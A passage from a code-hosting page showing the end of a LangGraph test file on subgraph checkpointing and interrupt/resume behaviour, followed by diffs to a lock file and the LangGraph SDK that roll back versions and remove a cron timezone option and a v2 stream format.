resumed. After both invoke+resume cycles, each subgraph run should only
contain its own messages no bleed-over from the previous run.
"""
# Build a subgraph that interrupts before echoing, then responds "Done"
def process(state: MessagesState) -> dict:
interrupt("continue?")
return {
"messages": [AIMessage(content=f"Processing: {state['messages'][-1].text}")]
}
def respond(state: MessagesState) -> dict:
return {"messages": [AIMessage(content="Done")]}
inner = (
StateGraph(MessagesState)
.add_node("process", process)
.add_node("respond", respond)
.add_edge(START, "process")
.add_edge("process", "respond")
.compile()
)
subgraph_messages: list[list[str]] = []
call_count = 0
async def call_inner(state: ParentState) -> dict:
nonlocal call_count
call_count += 1
topic = "apples" if call_count == 1 else "bananas"
resp = await inner.ainvoke(
{"messages": [HumanMessage(content=f"tell me about {topic}")]}
)
subgraph_messages.append([m.text for m in resp["messages"]])
return {"result": resp["messages"][-1].text}
parent = (
StateGraph(ParentState)
.add_node("call_inner", call_inner)
.add_edge(START, "call_inner")
.compile(checkpointer=async_checkpointer)
)
config = {"configurable": {"thread_id": str(uuid4())}}
# First invoke+resume cycle
result = await parent.ainvoke({"result": ""}, config)
assert result == {
"result": "",
"__interrupt__": [Interrupt(value="continue?", id=AnyStr())],
}
result = await parent.ainvoke(Command(resume=True), config)
assert result == {"result": "Done"}
# Second invoke+resume cycle
result = await parent.ainvoke({"result": ""}, config)
assert result == {
"result": "",
"__interrupt__": [Interrupt(value="continue?", id=AnyStr())],
}
result = await parent.ainvoke(Command(resume=True), config)
assert result == {"result": "Done"}
# Both invocations produce fresh history — no memory of prior call
assert subgraph_messages[0] == [
"tell me about apples",
"Processing: tell me about apples",
"Done",
]
assert subgraph_messages[1] == [
"tell me about bananas",
"Processing: tell me about bananas",
"Done",
]
# -- checkpointer=False --
@NEEDS_CONTEXTVARS
async def test_checkpointer_false_no_persistence_async(
async_checkpointer: BaseCheckpointSaver,
) -> None:
"""Tests that a subgraph compiled with checkpointer=False gets no
persistence at all, even when the parent graph has a checkpointer. Unlike
the default (checkpointer=None) which inherits just enough from the parent
to support interrupt/resume, checkpointer=False explicitly opts out of all
checkpoint behavior. Each invocation starts completely fresh.
"""
# Build a simple echo subgraph with checkpointer=False
def echo(state: MessagesState) -> dict:
return {
"messages": [AIMessage(content=f"Processed: {state['messages'][-1].text}")]
}
inner = (
StateGraph(MessagesState)
.add_node("echo", echo)
.add_edge(START, "echo")
.compile(checkpointer=False)
)
subgraph_messages: list[list[str]] = []
call_count = 0
async def call_inner(state: ParentState) -> dict:
nonlocal call_count
call_count += 1
topic = "apples" if call_count == 1 else "bananas"
resp = await inner.ainvoke(
{"messages": [HumanMessage(content=f"tell me about {topic}")]}
)
subgraph_messages.append([m.text for m in resp["messages"]])
return {"result": resp["messages"][-1].text}
parent = (
StateGraph(ParentState)
.add_node("call_inner", call_inner)
.add_edge(START, "call_inner")
.compile(checkpointer=async_checkpointer)
)
config = {"configurable": {"thread_id": str(uuid4())}}
result1 = await parent.ainvoke({"result": ""}, config)
assert result1 == {"result": "Processed: tell me about apples"}
result2 = await parent.ainvoke({"result": ""}, config)
assert result2 == {"result": "Processed: tell me about bananas"}
# Both start fresh — no history from first call
assert subgraph_messages[0] == [
"tell me about apples",
"Processed: tell me about apples",
]
assert subgraph_messages[1] == [
"tell me about bananas",
"Processed: tell me about bananas",
]
# -- checkpointer=True (stateful) --
@NEEDS_CONTEXTVARS
async def test_stateful_state_accumulates_async(
async_checkpointer: BaseCheckpointSaver,
) -> None:
"""Tests that a subgraph compiled with checkpointer=True ("stateful")
retains its message history across separate parent invocations. To enable
this, the subgraph is wrapped in an outer graph compiled with
checkpointer=True this wrapper gives the inner subgraph its own persistent
checkpoint namespace. After two parent calls, the second subgraph invocation
should see messages from both the first and second calls.
"""
# Build a simple echo subgraph
def echo(state: MessagesState) -> dict:
return {
"messages": [AIMessage(content=f"Processing: {state['messages'][-1].text}")]
}
inner = (
StateGraph(MessagesState)
.add_node("echo", echo)
.add_edge(START, "echo")
.compile()
)
# Wrap the inner subgraph with checkpointer=True to enable stateful.
# The wrapper graph gives the subgraph its own persistent checkpoint
# namespace, keyed by the node name ("agent").
wrapper = (
StateGraph(MessagesState)
.add_node("agent", inner)
.add_edge(START, "agent")
.compile(checkpointer=True)
)
subgraph_messages: list[list[str]] = []
topics = ["apples", "bananas"]
async def call_inner(state: ParentState) -> dict:
topic = topics[len(subgraph_messages)]
resp = await wrapper.ainvoke(
{"messages": [HumanMessage(content=f"tell me about {topic}")]}
)
subgraph_messages.append([m.text for m in resp["messages"]])
return {"result": resp["messages"][-1].text}
parent = (
StateGraph(ParentState)
.add_node("call_inner", call_inner)
.add_edge(START, "call_inner")
.compile(checkpointer=async_checkpointer)
)
config = {"configurable": {"thread_id": str(uuid4())}}
result1 = await parent.ainvoke({"result": ""}, config)
assert result1 == {"result": "Processing: tell me about apples"}
result2 = await parent.ainvoke({"result": ""}, config)
assert result2 == {"result": "Processing: tell me about bananas"}
# First call: fresh history
assert subgraph_messages[0] == [
"tell me about apples",
"Processing: tell me about apples",
]
# Second call: retains messages from first call
assert subgraph_messages[1] == [
"tell me about apples",
"Processing: tell me about apples",
"tell me about bananas",
"Processing: tell me about bananas",
]
@NEEDS_CONTEXTVARS
async def test_stateful_state_accumulates_with_interrupt_async(
async_checkpointer: BaseCheckpointSaver,
) -> None:
"""Tests that a stateful subgraph (checkpointer=True) retains its
message history across parent invocations even when interrupt/resume is
involved. The subgraph interrupts before echoing, then responds "Done".
After two invoke+resume cycles, the second run should contain the full
accumulated history from both calls.
"""
# Build a subgraph that interrupts before echoing, then responds "Done"
def process(state: MessagesState) -> dict:
interrupt("continue?")
return {
"messages": [AIMessage(content=f"Processing: {state['messages'][-1].text}")]
}
def respond(state: MessagesState) -> dict:
return {"messages": [AIMessage(content="Done")]}
inner = (
StateGraph(MessagesState)
.add_node("process", process)
.add_node("respond", respond)
.add_edge(START, "process")
.add_edge("process", "respond")
.compile()
)
# Wrap with checkpointer=True for stateful
wrapper = (
StateGraph(MessagesState)
.add_node("agent", inner)
.add_edge(START, "agent")
.compile(checkpointer=True)
)
subgraph_messages: list[list[str]] = []
topics = ["apples", "bananas"]
async def call_inner(state: ParentState) -> dict:
topic = topics[len(subgraph_messages)]
resp = await wrapper.ainvoke(
{"messages": [HumanMessage(content=f"tell me about {topic}")]}
)
subgraph_messages.append([m.text for m in resp["messages"]])
return {"result": resp["messages"][-1].text}
parent = (
StateGraph(ParentState)
.add_node("call_inner", call_inner)
.add_edge(START, "call_inner")
.compile(checkpointer=async_checkpointer)
)
config = {"configurable": {"thread_id": str(uuid4())}}
# First invoke+resume cycle
result = await parent.ainvoke({"result": ""}, config)
assert result == {
"result": "",
"__interrupt__": [Interrupt(value="continue?", id=AnyStr())],
}
result = await parent.ainvoke(Command(resume=True), config)
assert result == {"result": "Done"}
# Second invoke+resume cycle
result = await parent.ainvoke({"result": ""}, config)
assert result == {
"result": "",
"__interrupt__": [Interrupt(value="continue?", id=AnyStr())],
}
result = await parent.ainvoke(Command(resume=True), config)
assert result == {"result": "Done"}
# First call: fresh history
assert subgraph_messages[0] == [
"tell me about apples",
"Processing: tell me about apples",
"Done",
]
# Second call: retains messages from first call
assert subgraph_messages[1] == [
"tell me about apples",
"Processing: tell me about apples",
"Done",
"tell me about bananas",
"Processing: tell me about bananas",
"Done",
]
@NEEDS_CONTEXTVARS
async def test_stateful_interrupt_resume_async(
async_checkpointer: BaseCheckpointSaver,
) -> None:
"""Tests that a stateful subgraph (checkpointer=True) correctly
supports interrupt/resume while also accumulating state. Each invoke+resume
pair triggers the subgraph, and after the second pair completes we verify
both the per-step invoke outputs and the accumulated message history. This
exercises the full lifecycle: interrupt, resume, state accumulation.
"""
# Build a subgraph that interrupts before echoing, then responds "Done"
def process(state: MessagesState) -> dict:
interrupt("continue?")
return {
"messages": [AIMessage(content=f"Processing: {state['messages'][-1].text}")]
}
def respond(state: MessagesState) -> dict:
return {"messages": [AIMessage(content="Done")]}
inner = (
StateGraph(MessagesState)
.add_node("process", process)
.add_node("respond", respond)
.add_edge(START, "process")
.add_edge("process", "respond")
.compile()
)
# Wrap with checkpointer=True for stateful
wrapper = (
StateGraph(MessagesState)
.add_node("agent", inner)
.add_edge(START, "agent")
.compile(checkpointer=True)
)
subgraph_messages: list[list[str]] = []
topics = ["apples", "bananas"]
async def call_inner(state: ParentState) -> dict:
topic = topics[len(subgraph_messages)]
resp = await wrapper.ainvoke(
{"messages": [HumanMessage(content=f"tell me about {topic}")]}
)
subgraph_messages.append([m.text for m in resp["messages"]])
return {"result": resp["messages"][-1].text}
parent = (
StateGraph(ParentState)
.add_node("call_inner", call_inner)
.add_edge(START, "call_inner")
.compile(checkpointer=async_checkpointer)
)
config = {"configurable": {"thread_id": str(uuid4())}}
# First invocation: hits interrupt
result = await parent.ainvoke({"result": ""}, config)
assert result == {
"result": "",
"__interrupt__": [Interrupt(value="continue?", id=AnyStr())],
}
# Resume: completes first call
result = await parent.ainvoke(Command(resume=True), config)
assert result == {"result": "Done"}
assert subgraph_messages[0] == [
"tell me about apples",
"Processing: tell me about apples",
"Done",
]
# Second invocation: hits interrupt, state accumulated from first call
result = await parent.ainvoke({"result": ""}, config)
assert result == {
"result": "",
"__interrupt__": [Interrupt(value="continue?", id=AnyStr())],
}
# Resume: completes second call with accumulated state
result = await parent.ainvoke(Command(resume=True), config)
assert result == {"result": "Done"}
assert subgraph_messages[1] == [
"tell me about apples",
"Processing: tell me about apples",
"Done",
"tell me about bananas",
"Processing: tell me about bananas",
"Done",
]
@NEEDS_CONTEXTVARS
async def test_stateful_namespace_isolation_async(
async_checkpointer: BaseCheckpointSaver,
) -> None:
"""Tests that two different stateful subgraphs (checkpointer=True)
maintain completely independent state when they use different wrapper node
names. A "fruit_agent" and "veggie_agent" are each wrapped in their own
stateful graph. After two parent invocations, each agent should only
see its own accumulated history with no cross-contamination between them.
"""
# Build two simple echo subgraphs with different prefixes
def fruit_echo(state: MessagesState) -> dict:
return {"messages": [AIMessage(content=f"Fruit: {state['messages'][-1].text}")]}
def veggie_echo(state: MessagesState) -> dict:
return {
"messages": [AIMessage(content=f"Veggie: {state['messages'][-1].text}")]
}
fruit_inner = (
StateGraph(MessagesState)
.add_node("echo", fruit_echo)
.add_edge(START, "echo")
.compile()
)
veggie_inner = (
StateGraph(MessagesState)
.add_node("echo", veggie_echo)
.add_edge(START, "echo")
.compile()
)
# Wrap each with checkpointer=True, using different node names to get
# independent checkpoint namespaces
fruit = (
StateGraph(MessagesState)
.add_node("fruit_agent", fruit_inner)
.add_edge(START, "fruit_agent")
.compile(checkpointer=True)
)
veggie = (
StateGraph(MessagesState)
.add_node("veggie_agent", veggie_inner)
.add_edge(START, "veggie_agent")
.compile(checkpointer=True)
)
fruit_msgs: list[list[str]] = []
veggie_msgs: list[list[str]] = []
call_count = 0
async def call_both(state: ParentState) -> dict:
nonlocal call_count
call_count += 1
suffix = "round 1" if call_count == 1 else "round 2"
f = await fruit.ainvoke(
{"messages": [HumanMessage(content=f"cherries {suffix}")]}
)
v = await veggie.ainvoke(
{"messages": [HumanMessage(content=f"broccoli {suffix}")]}
)
fruit_msgs.append([m.text for m in f["messages"]])
veggie_msgs.append([m.text for m in v["messages"]])
return {"result": f["messages"][-1].text}
parent = (
StateGraph(ParentState)
.add_node("call_both", call_both)
.add_edge(START, "call_both")
.compile(checkpointer=async_checkpointer)
)
config = {"configurable": {"thread_id": str(uuid4())}}
result1 = await parent.ainvoke({"result": ""}, config)
assert result1 == {"result": "Fruit: cherries round 1"}
result2 = await parent.ainvoke({"result": ""}, config)
assert result2 == {"result": "Fruit: cherries round 2"}
# First call: each agent sees only its own history
assert fruit_msgs[0] == ["cherries round 1", "Fruit: cherries round 1"]
assert veggie_msgs[0] == ["broccoli round 1", "Veggie: broccoli round 1"]
# Second call: each accumulated independently — no cross-contamination
assert fruit_msgs[1] == [
"cherries round 1",
"Fruit: cherries round 1",
"cherries round 2",
"Fruit: cherries round 2",
]
assert veggie_msgs[1] == [
"broccoli round 1",
"Veggie: broccoli round 1",
"broccoli round 2",
"Veggie: broccoli round 2",
]
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+125 -126
View File
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[[package]]
name = "langgraph"
version = "1.1.3"
version = "1.0.9"
source = { editable = "." }
dependencies = [
{ name = "langchain-core" },
@@ -1548,7 +1548,7 @@ wheels = [
[[package]]
name = "langgraph-checkpoint"
version = "4.0.1"
version = "4.0.0"
source = { editable = "../checkpoint" }
dependencies = [
{ name = "langchain-core" },
@@ -1569,7 +1569,6 @@ dev = [
{ name = "numpy" },
{ name = "pandas" },
{ name = "pandas-stubs", specifier = ">=2.2.2.240807" },
{ name = "pycryptodome", specifier = ">=3.23.0" },
{ name = "pytest" },
{ name = "pytest-asyncio" },
{ name = "pytest-mock" },
@@ -1596,7 +1595,7 @@ test = [
[[package]]
name = "langgraph-checkpoint-postgres"
version = "3.0.5"
version = "3.0.4"
source = { editable = "../checkpoint-postgres" }
dependencies = [
{ name = "langgraph-checkpoint" },
@@ -1689,25 +1688,23 @@ name = "langgraph-cli"
source = { editable = "../cli" }
dependencies = [
{ name = "click", marker = "python_full_version < '3.14'" },
{ name = "httpx", marker = "python_full_version < '3.14'" },
{ name = "langgraph-sdk", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" },
{ name = "python-dotenv", marker = "python_full_version < '3.14'" },
]
[package.optional-dependencies]
inmem = [
{ name = "langgraph-api", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" },
{ name = "langgraph-runtime-inmem", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" },
{ name = "python-dotenv", marker = "python_full_version < '3.14'" },
]
[package.metadata]
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{ name = "httpx", specifier = ">=0.24.0" },
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{ name = "python-dotenv", marker = "extra == 'inmem'", specifier = ">=0.8.0" },
]
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+1 -1
View File
@@ -3,6 +3,6 @@ from langgraph_sdk.client import get_client, get_sync_client
from langgraph_sdk.encryption import Encryption
from langgraph_sdk.encryption.types import EncryptionContext
__version__ = "0.3.12"
__version__ = "0.3.9"
__all__ = ["Auth", "Encryption", "EncryptionContext", "get_client", "get_sync_client"]
+5 -15
View File
@@ -4,11 +4,10 @@ from __future__ import annotations
import warnings
from collections.abc import Mapping, Sequence
from datetime import datetime, tzinfo
from datetime import datetime
from typing import Any
from langgraph_sdk._async.http import HttpClient
from langgraph_sdk._shared.utilities import _resolve_timezone
from langgraph_sdk.schema import (
All,
Config,
@@ -71,7 +70,6 @@ class CronClient:
multitask_strategy: str | None = None,
end_time: datetime | None = None,
enabled: bool | None = None,
timezone: str | tzinfo | None = None,
stream_mode: StreamMode | Sequence[StreamMode] | None = None,
stream_subgraphs: bool | None = None,
stream_resumable: bool | None = None,
@@ -86,7 +84,7 @@ class CronClient:
assistant_id: The assistant ID or graph name to use for the cron job.
If using graph name, will default to first assistant created from that graph.
schedule: The cron schedule to execute this job on.
Schedules are interpreted in UTC unless a timezone is specified.
Schedules are interpreted in UTC.
input: The input to the graph.
metadata: Metadata to assign to the cron job runs.
config: The configuration for the assistant.
@@ -102,7 +100,6 @@ class CronClient:
Must be one of 'reject', 'interrupt', 'rollback', or 'enqueue'.
end_time: The time to stop running the cron job. If not provided, the cron job will run indefinitely.
enabled: Whether the cron job is enabled or not.
timezone: IANA timezone for the cron schedule. Accepts a string (e.g. 'America/New_York') or a ``datetime.tzinfo`` instance (e.g. ``ZoneInfo("America/New_York")``).
stream_mode: The stream mode(s) to use.
stream_subgraphs: Whether to stream output from subgraphs.
stream_resumable: Whether to persist the stream chunks in order to resume the stream later.
@@ -155,7 +152,6 @@ class CronClient:
"webhook": webhook,
"end_time": end_time.isoformat() if end_time else None,
"enabled": enabled,
"timezone": _resolve_timezone(timezone),
"stream_mode": stream_mode,
"stream_subgraphs": stream_subgraphs,
"stream_resumable": stream_resumable,
@@ -188,7 +184,6 @@ class CronClient:
multitask_strategy: str | None = None,
end_time: datetime | None = None,
enabled: bool | None = None,
timezone: str | tzinfo | None = None,
stream_mode: StreamMode | Sequence[StreamMode] | None = None,
stream_subgraphs: bool | None = None,
stream_resumable: bool | None = None,
@@ -202,7 +197,7 @@ class CronClient:
assistant_id: The assistant ID or graph name to use for the cron job.
If using graph name, will default to first assistant created from that graph.
schedule: The cron schedule to execute this job on.
Schedules are interpreted in UTC unless a timezone is specified.
Schedules are interpreted in UTC.
input: The input to the graph.
metadata: Metadata to assign to the cron job runs.
config: The configuration for the assistant.
@@ -220,7 +215,6 @@ class CronClient:
Must be one of 'reject', 'interrupt', 'rollback', or 'enqueue'.
end_time: The time to stop running the cron job. If not provided, the cron job will run indefinitely.
enabled: Whether the cron job is enabled or not.
timezone: IANA timezone for the cron schedule. Accepts a string (e.g. 'America/New_York') or a ``datetime.tzinfo`` instance (e.g. ``ZoneInfo("America/New_York")``).
stream_mode: The stream mode(s) to use.
stream_subgraphs: Whether to stream output from subgraphs.
stream_resumable: Whether to persist the stream chunks in order to resume the stream later.
@@ -274,7 +268,6 @@ class CronClient:
"on_run_completed": on_run_completed,
"end_time": end_time.isoformat() if end_time else None,
"enabled": enabled,
"timezone": _resolve_timezone(timezone),
"stream_mode": stream_mode,
"stream_subgraphs": stream_subgraphs,
"stream_resumable": stream_resumable,
@@ -331,7 +324,6 @@ class CronClient:
interrupt_after: All | list[str] | None = None,
on_run_completed: OnCompletionBehavior | None = None,
enabled: bool | None = None,
timezone: str | tzinfo | None = None,
stream_mode: StreamMode | Sequence[StreamMode] | None = None,
stream_subgraphs: bool | None = None,
stream_resumable: bool | None = None,
@@ -344,7 +336,7 @@ class CronClient:
Args:
cron_id: The cron ID to update.
schedule: The cron schedule to execute this job on.
Schedules are interpreted in UTC unless a timezone is specified.
Schedules are interpreted in UTC.
end_time: The end date to stop running the cron.
input: The input to the graph.
metadata: Metadata to assign to the cron job runs.
@@ -358,7 +350,6 @@ class CronClient:
after execution. 'keep' creates a new thread for each execution but does not
clean them up.
enabled: Enable or disable the cron job.
timezone: IANA timezone for the cron schedule. Accepts a string (e.g. 'America/New_York') or a ``datetime.tzinfo`` instance (e.g. ``ZoneInfo("America/New_York")``).
stream_mode: The stream mode(s) to use.
stream_subgraphs: Whether to stream output from subgraphs.
stream_resumable: Whether to persist the stream chunks in order to resume the stream later.
@@ -393,7 +384,6 @@ class CronClient:
"interrupt_after": interrupt_after,
"on_run_completed": on_run_completed,
"enabled": enabled,
"timezone": _resolve_timezone(timezone),
"stream_mode": stream_mode,
"stream_subgraphs": stream_subgraphs,
"stream_resumable": stream_resumable,
@@ -474,7 +464,7 @@ class CronClient:
```
"""
payload: dict[str, Any] = {
payload = {
"assistant_id": assistant_id,
"thread_id": thread_id,
"enabled": enabled,
+6 -88
View File
@@ -5,15 +5,12 @@ from __future__ import annotations
import builtins
import warnings
from collections.abc import AsyncIterator, Callable, Mapping, Sequence
from typing import Any, Literal, overload
from typing import Any, overload
import httpx
from langgraph_sdk._async.http import HttpClient
from langgraph_sdk._shared.utilities import (
_get_run_metadata_from_response,
_sse_to_v2_dict,
)
from langgraph_sdk._shared.utilities import _get_run_metadata_from_response
from langgraph_sdk.schema import (
All,
BulkCancelRunsStatus,
@@ -36,21 +33,9 @@ from langgraph_sdk.schema import (
RunStatus,
StreamMode,
StreamPart,
StreamPartV2,
StreamVersion,
)
async def _wrap_stream_v2(
raw: AsyncIterator[StreamPart],
) -> AsyncIterator[StreamPartV2]:
"""Wrap a raw SSE stream, converting each event to a v2 dict."""
async for part in raw:
v2 = _sse_to_v2_dict(part.event, part.data)
if v2 is not None:
yield v2
class RunsClient:
"""Client for managing runs in LangGraph.
@@ -96,66 +81,6 @@ class RunsClient:
headers: Mapping[str, str] | None = None,
params: QueryParamTypes | None = None,
on_run_created: Callable[[RunCreateMetadata], None] | None = None,
version: Literal["v1"] = "v1",
) -> AsyncIterator[StreamPart]: ...
@overload
def stream(
self,
thread_id: str,
assistant_id: str,
*,
input: Input | None = None,
command: Command | None = None,
stream_mode: StreamMode | Sequence[StreamMode] = "values",
stream_subgraphs: bool = False,
stream_resumable: bool = False,
metadata: Mapping[str, Any] | None = None,
config: Config | None = None,
context: Context | None = None,
checkpoint: Checkpoint | None = None,
checkpoint_id: str | None = None,
checkpoint_during: bool | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
feedback_keys: Sequence[str] | None = None,
on_disconnect: DisconnectMode | None = None,
webhook: str | None = None,
multitask_strategy: MultitaskStrategy | None = None,
if_not_exists: IfNotExists | None = None,
after_seconds: int | None = None,
headers: Mapping[str, str] | None = None,
params: QueryParamTypes | None = None,
on_run_created: Callable[[RunCreateMetadata], None] | None = None,
version: Literal["v2"],
) -> AsyncIterator[StreamPartV2]: ...
@overload
def stream(
self,
thread_id: None,
assistant_id: str,
*,
input: Input | None = None,
command: Command | None = None,
stream_mode: StreamMode | Sequence[StreamMode] = "values",
stream_subgraphs: bool = False,
stream_resumable: bool = False,
metadata: Mapping[str, Any] | None = None,
config: Config | None = None,
checkpoint_during: bool | None = None,
interrupt_before: All | Sequence[str] | None = None,
interrupt_after: All | Sequence[str] | None = None,
feedback_keys: Sequence[str] | None = None,
on_disconnect: DisconnectMode | None = None,
on_completion: OnCompletionBehavior | None = None,
if_not_exists: IfNotExists | None = None,
webhook: str | None = None,
after_seconds: int | None = None,
headers: Mapping[str, str] | None = None,
params: QueryParamTypes | None = None,
on_run_created: Callable[[RunCreateMetadata], None] | None = None,
version: Literal["v1"] = "v1",
) -> AsyncIterator[StreamPart]: ...
@overload
@@ -183,8 +108,7 @@ class RunsClient:
headers: Mapping[str, str] | None = None,
params: QueryParamTypes | None = None,
on_run_created: Callable[[RunCreateMetadata], None] | None = None,
version: Literal["v2"],
) -> AsyncIterator[StreamPartV2]: ...
) -> AsyncIterator[StreamPart]: ...
def stream(
self,
@@ -215,8 +139,7 @@ class RunsClient:
params: QueryParamTypes | None = None,
on_run_created: Callable[[RunCreateMetadata], None] | None = None,
durability: Durability | None = None,
version: StreamVersion = "v1",
) -> AsyncIterator[StreamPart | StreamPartV2]:
) -> AsyncIterator[StreamPart]:
"""Create a run and stream the results.
Args:
@@ -257,8 +180,6 @@ class RunsClient:
"async" means checkpoints are persisted async while next graph step executes, replaces checkpoint_during=True
"sync" means checkpoints are persisted sync after graph step executes, replaces checkpoint_during=False
"exit" means checkpoints are only persisted when the run exits, does not save intermediate steps
version: Stream format version. "v1" (default) returns raw SSE StreamPart
NamedTuples. "v2" returns typed dicts with `type`, `ns`, and `data` keys.
Returns:
Asynchronous iterator of stream results.
@@ -301,7 +222,7 @@ class RunsClient:
stacklevel=2,
)
payload: dict[str, Any] = {
payload = {
"input": input,
"command": (
{k: v for k, v in command.items() if v is not None} if command else None
@@ -338,7 +259,7 @@ class RunsClient:
if on_run_created and (metadata := _get_run_metadata_from_response(res)):
on_run_created(metadata)
raw = self.http.stream(
return self.http.stream(
endpoint,
"POST",
json={k: v for k, v in payload.items() if v is not None},
@@ -346,9 +267,6 @@ class RunsClient:
headers=headers,
on_response=on_response if on_run_created else None,
)
if version == "v2":
return _wrap_stream_v2(raw)
return raw
@overload
async def create(
+1 -1
View File
@@ -134,7 +134,7 @@ class StoreClient:
raise ValueError(
f"Invalid namespace label '{label}'. Namespace labels cannot contain periods ('.')."
)
get_params: dict[str, Any] = {"namespace": ".".join(namespace), "key": key}
get_params = {"namespace": ".".join(namespace), "key": key}
if refresh_ttl is not None:
get_params["refresh_ttl"] = refresh_ttl
if params:
+1 -52
View File
@@ -6,17 +6,13 @@ import functools
import os
import re
from collections.abc import Mapping
from datetime import tzinfo
from typing import TYPE_CHECKING, Any, cast
from typing import Any, cast
import httpx
import langgraph_sdk
from langgraph_sdk.schema import RunCreateMetadata
if TYPE_CHECKING:
from zoneinfo import ZoneInfo
RESERVED_HEADERS = ("x-api-key",)
NOT_PROVIDED = cast(None, object())
@@ -111,53 +107,6 @@ def _get_run_metadata_from_response(
return None
def _sse_to_v2_dict(event: str, data: Any) -> dict[str, Any] | None:
"""Convert an SSE event+data pair into a v2 stream part dict.
Returns None for ``end`` events (signals end of stream).
"""
if event == "end":
return None
parts = event.split("|")
event_type = parts[0]
ns = parts[1:] if len(parts) > 1 else []
result: dict[str, Any] = {"type": event_type, "ns": ns, "data": data}
if event_type == "values" and isinstance(data, dict):
result["interrupts"] = data.pop("__interrupt__", [])
else:
result["interrupts"] = []
return result
def _resolve_timezone(tz: str | tzinfo | ZoneInfo | None) -> str | None:
"""Convert a timezone argument to an IANA timezone string.
Accepts:
- A string (returned as-is, assumed to be an IANA timezone name)
- A ``datetime.tzinfo`` instance (e.g. ``zoneinfo.ZoneInfo("America/New_York")``,
``datetime.timezone.utc``). The ``key`` attribute is used if available,
otherwise ``tzname(None)`` is used.
- ``None`` (returned as ``None``)
"""
if tz is None or isinstance(tz, str):
return tz
if isinstance(tz, tzinfo):
# ZoneInfo objects have a .key attribute with the IANA name
if hasattr(tz, "key"):
return tz.key # type: ignore[union-attr]
# Fall back to tzname for fixed-offset timezones like datetime.timezone.utc
name = tz.tzname(None)
if name is not None:
return name
raise ValueError(
f"Cannot determine timezone name from {tz!r}. "
"Use a zoneinfo.ZoneInfo instance or pass a string like 'America/New_York'."
)
raise TypeError(
f"Expected str, datetime.tzinfo, or None for timezone, got {type(tz).__name__}"
)
def _provided_vals(d: Mapping[str, Any]) -> dict[str, Any]:
return {k: v for k, v in d.items() if v is not None}
+5 -15
View File
@@ -4,10 +4,9 @@ from __future__ import annotations
import warnings
from collections.abc import Mapping, Sequence
from datetime import datetime, tzinfo
from datetime import datetime
from typing import Any
from langgraph_sdk._shared.utilities import _resolve_timezone
from langgraph_sdk._sync.http import SyncHttpClient
from langgraph_sdk.schema import (
All,
@@ -65,7 +64,6 @@ class SyncCronClient:
multitask_strategy: str | None = None,
end_time: datetime | None = None,
enabled: bool | None = None,
timezone: str | tzinfo | None = None,
stream_mode: StreamMode | Sequence[StreamMode] | None = None,
stream_subgraphs: bool | None = None,
stream_resumable: bool | None = None,
@@ -80,7 +78,7 @@ class SyncCronClient:
assistant_id: The assistant ID or graph name to use for the cron job.
If using graph name, will default to first assistant created from that graph.
schedule: The cron schedule to execute this job on.
Schedules are interpreted in UTC unless a timezone is specified.
Schedules are interpreted in UTC.
input: The input to the graph.
metadata: Metadata to assign to the cron job runs.
config: The configuration for the assistant.
@@ -94,7 +92,6 @@ class SyncCronClient:
Must be one of 'reject', 'interrupt', 'rollback', or 'enqueue'.
end_time: The time to stop running the cron job. If not provided, the cron job will run indefinitely.
enabled: Whether the cron job is enabled. By default, it is considered enabled.
timezone: IANA timezone for the cron schedule. Accepts a string (e.g. 'America/New_York') or a ``datetime.tzinfo`` instance (e.g. ``ZoneInfo("America/New_York")``).
stream_mode: The stream mode(s) to use.
stream_subgraphs: Whether to stream output from subgraphs.
stream_resumable: Whether to persist the stream chunks in order to resume the stream later.
@@ -147,7 +144,6 @@ class SyncCronClient:
"multitask_strategy": multitask_strategy,
"end_time": end_time.isoformat() if end_time else None,
"enabled": enabled,
"timezone": _resolve_timezone(timezone),
"stream_mode": stream_mode,
"stream_subgraphs": stream_subgraphs,
"stream_resumable": stream_resumable,
@@ -178,7 +174,6 @@ class SyncCronClient:
multitask_strategy: str | None = None,
end_time: datetime | None = None,
enabled: bool | None = None,
timezone: str | tzinfo | None = None,
stream_mode: StreamMode | Sequence[StreamMode] | None = None,
stream_subgraphs: bool | None = None,
stream_resumable: bool | None = None,
@@ -192,7 +187,7 @@ class SyncCronClient:
assistant_id: The assistant ID or graph name to use for the cron job.
If using graph name, will default to first assistant created from that graph.
schedule: The cron schedule to execute this job on.
Schedules are interpreted in UTC unless a timezone is specified.
Schedules are interpreted in UTC.
input: The input to the graph.
metadata: Metadata to assign to the cron job runs.
config: The configuration for the assistant.
@@ -210,7 +205,6 @@ class SyncCronClient:
Must be one of 'reject', 'interrupt', 'rollback', or 'enqueue'.
end_time: The time to stop running the cron job. If not provided, the cron job will run indefinitely.
enabled: Whether the cron job is enabled. By default, it is considered enabled.
timezone: IANA timezone for the cron schedule. Accepts a string (e.g. 'America/New_York') or a ``datetime.tzinfo`` instance (e.g. ``ZoneInfo("America/New_York")``).
stream_mode: The stream mode(s) to use.
stream_subgraphs: Whether to stream output from subgraphs.
stream_resumable: Whether to persist the stream chunks in order to resume the stream later.
@@ -265,7 +259,6 @@ class SyncCronClient:
"multitask_strategy": multitask_strategy,
"end_time": end_time.isoformat() if end_time else None,
"enabled": enabled,
"timezone": _resolve_timezone(timezone),
"stream_mode": stream_mode,
"stream_subgraphs": stream_subgraphs,
"stream_resumable": stream_resumable,
@@ -320,7 +313,6 @@ class SyncCronClient:
interrupt_after: All | list[str] | None = None,
on_run_completed: OnCompletionBehavior | None = None,
enabled: bool | None = None,
timezone: str | tzinfo | None = None,
stream_mode: StreamMode | Sequence[StreamMode] | None = None,
stream_subgraphs: bool | None = None,
stream_resumable: bool | None = None,
@@ -333,7 +325,7 @@ class SyncCronClient:
Args:
cron_id: The cron ID to update.
schedule: The cron schedule to execute this job on.
Schedules are interpreted in UTC unless a timezone is specified.
Schedules are interpreted in UTC.
end_time: The end date to stop running the cron.
input: The input to the graph.
metadata: Metadata to assign to the cron job runs.
@@ -347,7 +339,6 @@ class SyncCronClient:
after execution. 'keep' creates a new thread for each execution but does not
clean them up.
enabled: Enable or disable the cron job.
timezone: IANA timezone for the cron schedule. Accepts a string (e.g. 'America/New_York') or a ``datetime.tzinfo`` instance (e.g. ``ZoneInfo("America/New_York")``).
stream_mode: The stream mode(s) to use.
stream_subgraphs: Whether to stream output from subgraphs.
stream_resumable: Whether to persist the stream chunks in order to resume the stream later.
@@ -382,7 +373,6 @@ class SyncCronClient:
